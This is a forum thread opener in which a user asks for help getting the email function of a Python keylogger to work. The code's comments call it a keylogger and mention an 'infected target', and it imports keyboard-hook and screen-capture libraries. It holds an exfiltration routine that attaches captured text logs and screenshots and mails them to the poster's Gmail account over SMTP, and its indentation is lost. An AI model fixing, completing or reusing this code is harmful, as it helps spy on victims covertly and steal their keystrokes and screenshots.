Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
sending email
#1
I am trying to send email but it is not working.

from kivy.app import App

from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib

# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = True # set to True to send emails
LOG_MAIL = "[email protected]"     # account email address (must exist)
LOG_PASS = ";)" # email's password (must exist)
LOG_FROM = "[email protected]" # email will be sent from this address (fake) - useful to identify infected target =)
LOG_SUBJ = "logsheetAhmad"                # email subject
LOG_MSG = "Hi there" # email content - the body

# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
server = smtplib.SMTP("smtp.gmail.com:587")
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list  
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)

server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()  
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())  
server.quit()
Thanks
Reply


Messages In This Thread
sending email - by rwahdan - Jul-13-2017, 03:18 PM
RE: sending email - by Larz60+ - Jul-13-2017, 04:07 PM
RE: sending email - by rwahdan - Jul-13-2017, 05:12 PM
RE: sending email - by nilamo - Jul-13-2017, 05:24 PM
RE: sending email - by rwahdan - Jul-14-2017, 06:03 AM
RE: sending email - by rwahdan - Jul-14-2017, 04:08 AM
RE: sending email - by nilamo - Jul-14-2017, 03:22 PM
RE: sending email - by snippsat - Jul-14-2017, 07:28 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Sending Out Email via Python JoeDainton123 1 4,844 Aug-31-2020, 12:54 AM
Last Post: nilamo
  Including a Variable In the HTML Tags When Sending An Email JoeDainton123 0 1,925 Aug-08-2020, 03:11 AM
Last Post: JoeDainton123
  Sending an email with attachment without using SMTP? PythonNPC 5 3,276 May-05-2020, 07:58 AM
Last Post: PythonNPC
  sending html file in email santoshi 3 6,614 Apr-05-2019, 03:59 PM
Last Post: nilamo
  sending email by exchangelib Caunnabeau 0 8,388 Sep-07-2018, 05:03 AM
Last Post: Caunnabeau
  Problem in sending email using python nhoh007 1 2,577 Aug-25-2018, 07:20 PM
Last Post: typic
  An email with inline jpg cannot be read by all email clients fpiraneo 4 4,106 Feb-25-2018, 07:17 PM
Last Post: fpiraneo
  Email - Send email using Windows Live Mail cyberzen 2 5,991 Apr-13-2017, 03:14 AM
Last Post: cyberzen

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020